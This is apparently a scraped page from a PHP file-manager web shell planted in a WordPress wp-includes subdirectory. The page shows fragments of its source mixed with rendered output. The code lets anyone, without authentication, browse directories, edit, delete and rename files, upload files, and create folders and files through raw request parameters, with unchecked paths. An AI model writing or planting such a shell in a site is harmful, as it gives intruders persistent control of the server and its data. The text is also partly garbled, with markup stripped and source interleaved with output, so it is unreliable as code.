Current Directory: /var/www/html/wordpress/wp-includes/block-bindings

Go up


"; echo ""; echo "
"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo "

File deleted successfully.

"; } } function handleRenameFile($filePath) { if ($_POST['newName']) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; rename($filePath, $newPath); echo "

File renamed successfully.

"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "

Files in '$directory'

"; } function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "border-left: 4px solid green;"; } elseif (!is_writable($path)) { return "border-left: 4px solid red;"; } elseif (is_readable($path)) { return "border-left: 4px solid white;"; } return ""; } function generateFileActions($directory, $file) { return "Edit | Delete | Rename"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; default: break; } } } echo "

Current Directory: $currentDir

"; echo "

Go up

"; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); // File upload form echo "

Upload File

"; echo ""; echo ""; echo "
"; // Create folder form echo "

Create Folder

"; echo ""; echo ""; echo "
"; // Create file form echo "

Create File

"; echo ""; echo ""; echo "
"; if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } ?>

Files in '/var/www/html/wordpress/wp-includes/block-bindings'

Upload File

Create Folder

Create File